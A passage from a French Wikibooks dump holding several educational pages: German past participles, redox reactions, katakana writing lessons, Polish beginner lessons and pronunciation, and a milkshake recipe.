t du participe passé si le radical se termine par d, t, dm, tm, chn. == Participe passé des verbes forts == Les participes passés des verbes forts se construisent à l'aide du préfixe '''ge''' et l'infinitif du verbe. De plus, la voyelle du radical est souvent différente.<br />Exemple : <br /> <center><table border="1" cellspacing="0" style="background-color: #FFFFCC"> <tr><td width=100px>schreiben</td><td width=100px>trinken</td><td width=100px>essen</td><td width=100px>gehen</td></tr> <tr><td>'''ge'''schr'''ie'''ben</td><td>'''ge'''tr'''u'''nken</td><td>'''ge'''gessen</td><td>'''ge'''gangen</td></tr> </table></center> <br /> == Autres participes passés == * [[Image:Panneau attention 20.png]] Un verbe, même faible, ne prends pas '''ge''' si la première syllabe de son infinitif n'est pas accentuée. Exemple : verkaufen : verkauft. <br /> * Pour les verbes à particules séparables, le préfixe '''ge''' se place après la particule séparable mais avant le participe passé du verbe de base. Exemple : auf/machen (ouvrir) : aufgemacht. <br /> * Le participe passé se construit sans '''ge''' pour les verbes à particules inséparables et pour les verbes d'origine étrangère (comme ceux qui se termient en -ieren). Exemple : versuchen (essayer) : versucht. studieren (étudier) : studiert ---- [[Image:Evolution-tasks.png]] [[Allemand/Exercices/Participe_Passé|Application]] / [[Image:Wikibooks-page.gif]] Voir la [[Allemand Verbes forts|liste des verbes forts et de leur participe passé]] / Retour au [[Enseignement de l'allemand|sommaire]] ---- Réactions oxydant-réducteur (Chimie générale) 3392 44466 2006-06-13T11:40:04Z Clément Cordaro 1305 /* Demi-équation électroniques */ __NOTOC__ == Oxydant == {| style="border:1px solid #996600;" cellspacing="0" cellpadding="0" width="70%"| |+ |bgcolor="#ECE5CA"| <h4>Définition</h4> |- |bgcolor="#FAF9EC"| Un oxydant est une espèce chimique (atome, ion, molécules ...) capable de gagner un ou plusieurs électrons. |} == Réducteur == {| style="border:1px solid #996600;" cellspacing="0" cellpadding="0" width="70%"| |+ |bgcolor="#ECE5CA"| <h4>Définition</h4> |- |bgcolor="#FAF9EC"| Un réducteur est une espèce chimique (atome, ion, molécule ...) capable de céder un ou plusieurs électrons. |} == Couple oxydant réducteur == Un oxydant ou un réducteur appartiennent forcémment à un couple oxydant-réducteur. La notation d'un couple oxydant-réducteur est la suivante : oxydant/réducteur.<br />Exemple : <math> \hbox{Cu}^{2+}</math>/<math>\hbox{Cu}</math> <br /> == Demi-équation électroniques == <math>Fe_{(s)} = Fe^{2+}_{(aq)} + 2e^-</math> <br /> <math>Cu^{2+}_{(aq)} + 2e^-= Cu_{(s)}</math> == Réaction d'oxydo-réduction == Une réaction d'oxydo-réduction est le transfert d'électrons du réducteur d'un premier couple oxydant-réducteur, vers l'oxydant du deuxième couple oxydant-réducteur. <br /> <math>Fe_{(s)} + Cu^{2+} \rightarrow Fe^{2+} + Cu_{(s)}</math> On additionne les deux demi-équations pour donner la réaction d'oxydoréduction. ---- Retour au [[Chimie générale|sommaire]] / [[Chimie:Aide_oxydoréduction|aide oxydoréduction]] ---- Japonais:Ecriture Katakana 1 3393 28080 2006-01-02T09:44:12Z 82.249.164.117 /* サ(Sa) シ(Shi) ス(Su) セ(Se) ソ(So) */ = Lecon n°1 : les 15 premiers Katakana = {| border="1" cellspacing="0" cellpadding="6" style="background:#FFFFE0;" style="text-align: center;" ! width="25" | &nbsp; ! width="25" | a ! width="25" | i ! width="25" | u ! width="25" | e ! width="25" | o |- | &nbsp; | <big>ア</big> | <big>イ</big> | <big>ウ</big> | <big>エ</big> | <big>オ</big> |- ! k | <big>カ</big> | <big>キ</big> | <big>ク</big> | <big>ケ</big> | <big>コ</big> |- ! s | <big>サ</big> | <big>シ</big> | <big>ス</big> | <big>セ</big> | <big>ソ</big> |} == ア(A) イ(I) ウ(U) エ(E) オ(O) == [[Image:Japanese Katakana A.png|100 px|left|ア a]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana A Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">a</big> comme '''A'''pple |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | アウト (n) out アイス (n) ice |} [[Image:Japanese Katakana I.png|100 px|left|イ i]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana I Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">i</big> comme '''i'''dentique |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | インク (n) ink イェス oui ; yes |} [[Image:Japanese Katakana U.png|100 px|left|ウ u]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana U Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">u</big> comme c'est '''où''' ? |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | ウイスキー (n) whisky アウト (n) out |} [[Image:Japanese Katakana E.png|100 px|left||エ e]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana E Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">e</big> comme '''E'''xit |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | * エアコン : air conditionnée (l'air con sisi !) |} [[Image:Japanese Katakana O.png|100 px|left|オ o]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana O Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">O</big> comme « '''Oh''' ! une vache ! » |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | オーケー (n) OK |} Et de 5 caractères ! == カ(Ka) キ(Ki) ク(Ku) ケ(Ke) コ(Ko) == [[Image:Japanese Katakana KA.png|100 px|left|カ ka|]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana KA Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ka</big> Comme '''Ka'''raté |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | * カー car * サッカー soccer ガス gaz |} [[Image:Japanese Katakana KI.png|100 px|left|キ ki]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana KI Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ki</big> Comme '''Key''' |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | スキー : ski キス kiss |} [[Image:Japanese Katakana KU.png|100 px|left|ク ku]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana KU Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ku</big> comme '''Cou'''cou |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | シック (adj-na,n) chic クイズ (n) quiz |} [[Image:Japanese Katakana KE.png|100 px|left|ケ ke]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana KE Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ke</big> comme Saké |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | ケーキ cake ケース (n) case |} [[Image:Japanese Katakana KO.png|100 px|left|コ ko]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana KO Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ko</big> comme '''co'''pie, le haut est l’exacte copie du bas. |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | コイン coin コック (n) cook |} Les ka sont faits. == サ(Sa) シ(Shi) ス(Su) セ(Se) ソ(So) == [[Image:Japanese Katakana SA.png|100 px|left|サ sa]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana SA Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Sa</big> comme '''sa'''lade |- valign="top" ! bgcolor="#CCCCFF" | Exemple: |サイズ size サンキュー thank you |} [[Image:Japanese Katakana SHI.png|100 px|left|シ shi]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana SI Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Shi</big> /!\ Attention, il se prononce shi, comme su''shi'' ou ''chi''cane et non ''si''. |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | シック chic ジュース juice ジーンズ jeans |} [[Image:Japanese Katakana SU.png|100 px|left|ス su]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana SU Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Su</big> comme '''Sou'''pière |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | スカート skirt スケート skate |} [[Image:Japanese Katakana SE.png|100 px|left|セ se]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana SE Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Se</big> comme '''s’é'''taler. |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | セット set セックス sexe |} [[Image:Japanese Katakana SO.png|100 px|left|ソ so]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana SO Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">So</big> comme '''so'''lfège |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | *ソース source *ソックス socks |} Japonais:Notation en Katakana 3394 23925 2005-10-22T17:11:41Z 83.193.114.41 /* 長音 */ {{En travaux}} ==Notation en Katakana== ==Voyelles longue== ===長音=== les voyelles longue était introduite dans le chapitre <!--Not sure about this section--> {| border="1" cellspacing="0" cellpadding="6" | '''ひらがな''' | ああ | いい | うう | ええ・えい | おお・おう |- | '''カタカナ''' | アー | イー | ウー | エー | オー |} ==les deux petits traits== ===濁り=== * 濁点 (だくてん ''dakuten'') - modifies '''''k→g, s→z, t→d, h→b''''' * 半濁点 (はんだくてん ''handakuten'') - modifies '''''h→p''''' ===濁点=== 濁点, <big style="font-size: 150%;">&#12443;</big>, which looks like two slash marks located at the top-right-hand corner of a かな indicate that the preceding consonant is '''voiced'''. {| border="1" cellspacing="0" cellpadding="6" ! colspan="6" | ひらがな ! rowspan="6" | &nbsp; ! colspan="5" | カタカナ |- ! &nbsp; ! a ! i ! u ! e ! o ! a ! i ! u ! e ! o |- | '''k''' &rarr; '''g''' | か &rarr; が | き &rarr; ぎ | く &rarr; ぐ | け &rarr; げ | こ &rarr; ご | カ &rarr; ガ | キ &rarr; ギ | ク &rarr; グ | ケ &rarr; ゲ | コ &rarr; ゴ |- | '''t''' &rarr; '''d''' | た &rarr; だ | ち &rarr; ぢ | つ &rarr; づ | て &rarr; で | と &rarr; ど | タ &rarr; ダ | チ &rarr; ヂ | ツ &rarr; ヅ | テ &rarr; デ | ト &rarr; ド |- | '''s''' &rarr; '''z''' | さ &rarr; ざ | し &rarr; じ | す &rarr; ず | せ &rarr; ぜ | そ &rarr; ぞ | サ &rarr; ザ | シ &rarr; ジ | ス &rarr; ズ | セ &rarr; ゼ | ソ &rarr; ゾ |- | '''h''' &rarr; '''b''' | は &rarr; ば | ひ &rarr; び | ふ &rarr; ぶ | へ &rarr; べ | ほ &rarr; ぼ | ハ &rarr; バ | ヒ &rarr; ビ | フ &rarr; ブ | ヘ &rarr; ベ | ホ &rarr; ボ |} ===半濁点=== 半濁点, <big style="font-size: 150%;">゜</big>, which looks like a circle located at the top-right-hand corner of a mora indicate that the preceding consonant is '''plosive'''. {| border="1" cellspacing="0" cellpadding="6" ! colspan="6" | ひらがな ! rowspan="6" | &nbsp; ! colspan="5" | カタカナ |- ! &nbsp; ! a ! i ! u ! e ! o ! a ! i ! u ! e ! o |- | '''h''' &rarr; '''p''' | は &rarr; ぱ | ひ &rarr; ぴ | ふ &rarr; ぷ | へ &rarr; ぺ | ほ &rarr; ぽ | ハ &rarr; パ | ヒ &rarr; ピ | フ &rarr; プ | ヘ &rarr; ペ | ホ &rarr; ポ |} ==Double Consonne== ===促音=== When you see the doubling of consonants, in Japanese it would be indicated by the ''small tsu'' which looks like っ in ひらがな and ッ in カタカナ. This is known as 促音 (そくおん ''sokuon'') Small っ ッ Whenever you read a small つ, double the consonant that follows. The general effect is to insert a pause that sounds as long as a regular syllable with a short vowel. Don't say the consonant twice, just make the middle a bit longer. To get an idea, think of "ma'''p p'''ing", "ho'''t t'''oddy", "ka'''pp '''a", etc. <!--TODO counter prefix ''ka'' ( http://www.sf.airnet.ne.jp/~ts/japanese/message/jpnDRu_zprBDRszTrJP.html ) ヵ ヶ ッ ( http://www.wikipedia.org/wiki/Japanese_language#Double_(Geminate)_Consonants:_length_of_two_syllables ) --> ==Glossaire== {| border="1" cellpadding="3" cellspacing="0" <caption align="top"> Symbole des katakanas </caption> ! Symbol !! [[Japanese:Kanji|Kanji]] !! [[Japanese:Hiragana|Hiragana]] !! [[Japanese:Romaji|R&#333;maji]] !! Meaning |- |ー |長音 |ちょうおん |''ch&#333;on'' |Long vowel. Mostly used in Katakana |- |゛ |濁点 '''or''' 濁り |だくてん '''or''' にごり |''dakuten'' '''or''' ''nigori'' |Voiced consonant. |- |゜ |半濁点 |はんだくてん |''handakuten'' |Plosive (half-voiced). |} Enseignement du polonais 3395 44974 2006-06-18T01:46:33Z Eric.dane 1653 /* Voir aussi */ [[Image:Flag of Poland.svg|thumb|200px|right|Drapeau de la Pologne]] La '''langue polonaise''' est membre du groupe '''slave occidental''' de la famille de langues [[w:Indo-européen|Indo-européennes]]. Elle est plus facile à apprendre si l'on connaît déjà une autre langue apparentée. Celles qui en sont les plus proches sont les autres [[w:Langue slave|langues slaves]] occidentales : le [[w:Langue tchèque|tchèque]], le [[w:Langue slovaque|slovaque]] et le [[w:Langue cachoube|cachoube]]. Plus éloignées sont les langues slaves méridionales et orientales comme le [[w:Langue russe|russe]], l'[[w:Langue ukrainienne|ukrainien]], et le [[w:Langue serbo-croate|serbo-croate]]. Plus éloignée, mais encore avec quelques similitudes sont les [[w:Langue balte|langues baltes]] : le [[w:langue lettonne|letton]] et le [[w:Langue lithuanienne|lithuanien]]. Quelqu'un qui ne parle aucune langue slave ou balte, mais parle une autre langue indo-européenne, peut encore trouver beaucoup de similitudes entre la grammaire polonaise et la grammaire de cette langue ainsi que beaucoup de mots similaires. Apprendre le polonais est plus difficile pour ceux qui ne connaissent pas de langue indo-européenne ; c'est le cas pour une personne qui ne parle seulement que le [[w:langue chinoise|chinois]], le [[japonais]], ou le [[w:langue coréenne|coréen]]... mais cela reste possible. ==Table des matières== # [[Polonais:Quelques expressions très utilisées|Quelques expressions très utilisées]] # [[Polonais:Prononciation polonaise|Prononciation polonaise]] # [[Polonais:Phrases de base 1|Phrases de base 1]] ## [[Polonais:Phrases polonaises de base 2|Phrases polonaises de base 2]] # [[Polonais:Plus sur les noms - genres|Plus sur les noms - genres]] # [[Polonais:Ordre des mots dans une phrase|Ordre des mots dans une phrase]] # [[Polonais:Pluriel|Pluriel]] # [[Polonais:Cas des noms|Cas des noms]] (déclinaisons) ## [[Polonais:Déclinaison du nom féminin|Déclinaison du nom féminin]] ## [[Polonais:Déclinaison du nom masculin|Déclinaison du nom masculin]] ## [[Polonais:Déclinaison du nom neutre|Déclinaison du nom neutre]] ## [[Polonais:Prépositions comme indices des déclinaisons|Prépositions comme indices des déclinaisons]] # [[Polonais:Adjectifs|Adjectifs]] ## [[Polonais:Plus sur les adjectifs|Plus sur les adjectifs]] # [[Polonais:Expressions de groupe|Expressions de groupe]] # [[Polonais:Questions|Questions]] # [[Polonais:Verbes|Verbes]] ## [[Polonais:Usage de l'infinitif|Usage de l'infinitif]] ==Copyright== Ce document était originellement copyright 2002 Tomasz Węgrzanowski &lt;taw@users.sf.net&gt; Il peut être distribué sous les termes de la GNU Free Documentation Licence. Depuis son écriture originale, il a été édité et redistribué sur Wiktionary et, actuellement, Wikibooks. ==Voir aussi== * [http://www.claritaslux.com Polish Language Learning Software] * [[Enseignement du polonais - Exemples]] * Wikitravel [http://wikitravel.org/fr/Guide_linguistique_polonais] * [http://fr.wikipedia.org/wiki/Polonais Wikipédia: le polonais] * [http://www.wikipedia.pl Wikipédia en polonais] [[Catégorie:Langue|Polonais]] [[Catégorie:Langues]] [[de:Polnisch]] [[en:Basic Polish language course]] Polonais:Quelques expressions très utilisées 3396 30656 2006-01-28T16:01:37Z 83.154.63.234 [[en:Polish:Some useful expressions]] [[Enseignement du polonais|^ Polonais ^]] [[Polonais:Phrases de base 1|> Phrase de base 1 >]] ---- Pour s'initier au polonais, il est très utile de connaître ces quelques expressions usuelles : * '''Dzień dobry''' - Bonjour * '''Dobry wieczór''' - Bonsoir * '''Dobranoc''' - Bonne nuit * '''Cześć''' - Salut * '''Do widzenia''' - Au revoir * '''Proszę''' - S'il vous plaît * '''Dziękuję''' - Merci * '''Dzięki''' - Merci (moins formel) * '''Przepraszam''' - Je suis désolé / Excusez-moi * '''Tak''' - Oui * '''Nie''' - Non * '''Nie zawracaj mi głowy, nie widzisz, że jestem zajęty/zajęta ?''' - Ne me dérangez pas, Vous ne voyez pas que je suis occupé ? (celui qui parle : homme/femme) * '''Jak się masz?''' - Comment allez-vous ? (lit. ''Comment vous portez vous vous-même ?'') * '''Jak leci?''' - Que se passe t-il ? (lit. ''Comment ça vole ?'') * '''Co/Jak tam u ciebie ?''' - Comment ça va ? * '''Nie mówię po polsku.''' - Je ne parle pas polonais * '''No to strzemiennego!''' - OK, un pour la route ! ---- [[Enseignement du polonais|^ Polonais ^]] [[Polonais:Phrases de base 1|> Phrase de base 1 >]] Cuisine:Milk-shake 3397 44295 2006-06-10T23:58:50Z 81.57.43.204 /* Mode d'emploi */ ==Milk-shake banane-chocolat== ===Ingrédients=== * Un grand verre de lait (ou deux verres normaux) * Une banane * 3 cuillères à soupe de chocolat en poudre * Un sachet de sucre vanillé ===Mode d'emploi=== * Mettre tous les ingrédients dans un mixeur. Mixer. Servez (frais de préférence) Polonais:Prononciation polonaise 3398 33130 2006-02-16T20:03:10Z 83.5.53.70 /* Phrases polonaises de base 2 */ [[en:Polish pronunciation]] [[Polonais:Phrases de base 1|< Phrases de base 1 <]] [[Enseignement du polonais|^ Polonais ^]] [[Polonais:Phrases polonaises de base 2|> Phrases polonaises de base 2 >]] ---- Vous désirez probablement savoir comment prononcer les mots polonais. C'est très difficile, précisément si vous parlez une langue qui possède des syllabes simples, comme le japonais. L'orthographe polonais est plutôt régulier. Il utilise 9 caractères spéciaux, et certaines paires de caractères pour représenter les sons qui ne sont pas disponibles dans l'alphabet latin. Les voyelles sont prononcées comme dans toutes les langues européennes (et pour le japonais) autres que l'anglais. "a b d e f h k l m n o p r s t u z" sont prononcées comme vous vous attendez. * "c" est prononcé comme "ts", mais sera compris s'il est prononcé comme "s". * "g" est toujours dur, comme "gamme" et non comme "gène". * "i" est prononcé comme d'habitude et avant les autres voyelles comme "y", un i allongé. Il adoucit la consonne devant lui. * "j" est prononcé comme "y". * "u" est prononcé comme "ou" dans "mou". * "w" est prononcé comme "v". * "y" est prononcé comme "i", mais il n'adoucit pas la consonne devant lui. Les lettres spéciales sont : * "ą" - prononcée comme "on" ou "om". * "ć" - prononcée comme un "ch" doux. * "ę" - prononcée comme "e", "en" ou "em". Comme la dernière voyelle du mot est généralement prononcée comme un "e", légèrement allongé. * "ł" - prononcée comme "w". * "ń" - prononcée comme un "n" doux. * "ó" - prononcée comme "u". * "ś" - prononcée comme un "sh" doux. * "ź" - prononcée comme un "zh" doux. * "ż" - prononcée comme un "zh" dur. Les paires spéciales de lettres sont : * "ch" - prononcée comme "h". * "cz" - prononcée comme un "ch" dur. * "rz" - prononcée comme un "zh" dur mais avec un petit rouleau de la langue dans un groupe consonnant. * "sz" - prononcée comme un "sh" dur. Si vous ne savez pas comment prononcer les paires dures/douces, vous pouvez utiliser la même forme et vous serez compris généralement. = Phrases polonaises de base 2 = Maintenant, vous voulez probablement savoir comment dire que "Je" ou "Tu/Vous" faites quelquechoses, pas seulement une autre personne. Vous avez à conjuguer le verbe. Essayons d'abord avec '''Manger''' (''jeść''). * Première personne - "jem" * Deuxième personne - "jesz" * Troisième personne - "je" Ou '''voir''' (''widzieć'') * Première personne - "widzę" * Deuxième personne - "widzisz" * Troisième personne - "widzi" Comme vous voyez, c'est assez régulier. Essayons un peu plus : * '''Boire''' (''pić'') ** Première personne - "piję" ** Deuxième personne - "pijesz" ** Troisième personne - "pije" (orthographe différente, la même prononciation comme à la première personne) * '''Faire''' (''robić'') ** "robię" ** "robisz" ** "robi" * '''Lire''' (''czytać'') ** "czytam" ** "czytasz" ** "czyta" * '''Écrire''' (''pisać'') ** "piszę" ** "piszesz" ** "pisze" ((orthographe différente, la même prononciation comme à la première personne) * '''Être''' (''być'') ** "jestem" ** "jesteś" ** "jest" * '''Avoir''' (''mieć'') ** "mam" ** "masz" ** "ma" Et quelques exemples : * "Ala pije kawę" - Ala boit un café * "Basia robi kawę" - Basia fait un café * "Ala czyta książkę" - Ala lit un livre * "Basia pisze książkę" - Basia écrit un livre * "kawa" - un café * "książka" - un livre Le mot pour "Je" est "ja", et le mot pour "Tu/Vous" est "ty", mais ils sont très rarement utilisés comme sujets. Ils peuvent être utilisés en poésie ou pour une emphase forte. * "Ja piję kawę" - Je bois un café (correct, mais pas naturel) * "Piję kawę" - Je bois un café (meilleur) * "Ty jesz ciastko" - Tu manges un gâteau (correct, mais pas naturel) * "Jesz ciastko" - Tu manges un gâteau (meilleur) ---- [[Polonais:Phrases de base 1|< Phrases de base 1 <]] [[Enseignement du polonais|^ Polonais ^]] [[Polonais:Phrases polonaises de base 2|> Phrases polonaises de base 2 >]] Polonais:Phrases de base 1 3399 14910 2005-05-07T14:08:38Z Jim2k 289 [[en:Polish:Basic sentences 1]] [[Polonais:Quelques expressions très utilisées|< Quelques expressions très utilisées <]] [[Enseignement du polonais|^ Polonais ^]] [[Polonais:Prononciation polonaise|> prononciation polonaise >]] ---- Essayons de construire quelques phrases simples. Les deux choses que vous devez savoir sont : # Les verbes prennent différentes formes qui dépendent des personnes, du nombre et du temps. # Les noms prennent différentes formes qui dépendent du nombre et de la fonction dans la phrase, ou pour être plus exact, du cas grammatical. * "Ala je jabłko" - Ala mange une pomme. * "Ala je ciastko" - Ala mange un gâteau. * "Basia je jabłko" - Basia mange une pomme. * "Ala" (Français ''Alice'') et "Basia" (Français ''Barbara'') sont des diminutifs de prénoms populaires en [[w:Pologne]]. * "Jabłko" veut dire une pomme. * "Ciastko" veut dire un gâteau. * "je" est la forme appropriée du verbe qui veut dire "manger". * Note : le polonais n'a pas un mot pour "le" ou "un" (article), par conséquent lorsque l'on traduit à partir du polonais vous avez à les ajouter où ils doivent être dans une phrase française, en utilisant le contexte ou le sens de la phrase pour vous guider. Il existe 7 cas en polonais, les deux plus importants étant le '''nominatif''' (polonais : "mianownik") - pour les sujets, et l'accusatif (polonais : "biernik") - pour les objets.<br> Les sujets en polonais peuvent adopter deux formes - logique et grammaticale ; le sujet grammatical est un nom en nominatif et le sujet logique - un nom en accusatif. Le sujet logique est utilisé lorsque nous voulons exprimer un manque ou un excès de quelque chose. Le sujet grammatical peut être représenté par n'importe quelle partie du discours. Par exemple :<br> *nom (Pol. rzeczownik) – ''Dom'' stoi na wzgórzu. *adjectif (Pol. przymiotnik) – ''Znajomy'' kupił nowy garnitur. *numéral (pol. liczebnik) – Wybiła ''dziesiąta''. *verbe (Pol. czasownik) - ''Tańczyć'' jest przyjemnie. *pronom (Pol. zaimek) - ''On'' czyta. *adverbe (Pol. przysłówek) – ''Jutro'' należy do nas. *conjonction (Pol. łącznik) – ''"I"'' jest spójnikiem. *préposition (Pol. przyimek) – ''"W"'' jest przyimkiem. *particule (Pol. partykuła) - ''"Li"'', ''"że"'' są partykułami. *interjection (Pol. wykrzyknik) – ''"Och"'' rozległo się nagle. L'ordre des mots en polonais peut être changé, le cas le plus typique est : * Sujet (en nominatif) - Verbe - Objet (en accusatif). Les déclinaisons des noms polonais est plutôt régulière. Les noms qui finissent en "-o" ont le même nominatif et accusatif (ils sont neutres), Les noms qui finissent en "-a" dans le nominatif ont "-ę" à l'accusatif (ils sont féminins). Connaissant cela, nous pouvons créer plus de phrases. Par exemple : * "Dziecko je ciastko" - un enfant mange un gâteau. * "Dziecko je czekoladę" - un enfant mange un chocolat. * "dziecko" - un enfant * "czekolada" - un chocolat Pour s'entraîner un peu plus, utilisons "widzi", qui est la forme appropriée du verbe "voir". * "Ala widzi Basię" - Ala voit Basia * "Basia widzi Alę" - Basia voit Ala * "Dziecko widzi Alę" - un enfant voit Ala * "Ala widzi dziecko" - Ala voit un enfant ---- [[Polonais:Quelques expressions très utilisées|< Quelques expressions très utilisées <]] [[Enseignement du polonais|^ Polonais ^]] [[Polonais:Prononciation polonaise|> prononciation polonaise >]] Catégorie:Lubrifiant 3400 32500 2006-02-12T00:23:42Z Jean-Jacques MILAN 114 Lubrification, huiles, graisses, lubrifiants solides, nanoparticules, additifs, etc. Japonais:Ecriture Katakana 2 3401 14912 2005-05-05T15:53:30Z M4RC0 274 = Leçon écriture Katakana n°2 : la suite.. = {| border="1" cellspacing="0" cellpadding="6" style="background:#FFFFE0;" style="text-align: center;" ! width="25" | &nbsp; ! width="25" | a ! width="25" | i ! width="25" | u ! width="25" | e ! width="25" | o |- | &nbsp; | <big>ア</big> | <big>イ</big> | <big>ウ</big> | <big>エ</big> | <big>オ</big> |- ! k | <big>カ</big> | <big>キ</big> | <big>ク</big> | <big>ケ</big> | <big>コ</big> |- ! s | <big>サ</big> | <big>シ</big> | <big>ス</big> | <big>セ</big> | <big>ソ</big> |- | t | <big>タ</big> | <big>チ</big> | <big>ツ</big> | <big>テ</big> | <big>ト</big> |- ! n | <big>ナ</big> | <big>ニ</big> | <big>ヌ</big> | <big>ネ</big> | <big>ノ</big> |- ! h | <big>ハ</big> | <big>ヒ</big> | <big>フ</big> | <big>ヘ</big> | <big>ホ</big> |} == タ (ta) チ (chi) ツ(tsu) テ (te) ト (to) == [[Image:Japanese Katakana TA.png|100 px|left|タ ta]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana TA Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ta/Da</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana CHI.png|100 px|left|チ chi]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana TI Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Chi</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana TSU.png|100 px|left|ツ tsu]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana TU Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Tsu/Zu</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana TE.png|100 px|left|テ te]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana TE Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Te/De</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana TO.png|100 px|left||ト to]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana TO Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">To/Do</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} Et de 5 caractères ! == ナ(Na) ニ(Ni) ヌ(Nu) ネ(ne) ノ(No) == [[Image:Japanese Katakana NA.png|100 px|left|ナ na]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana NA Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Na</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana NI.png|100 px|left|ニ ni]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana NI Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ni</big> |- 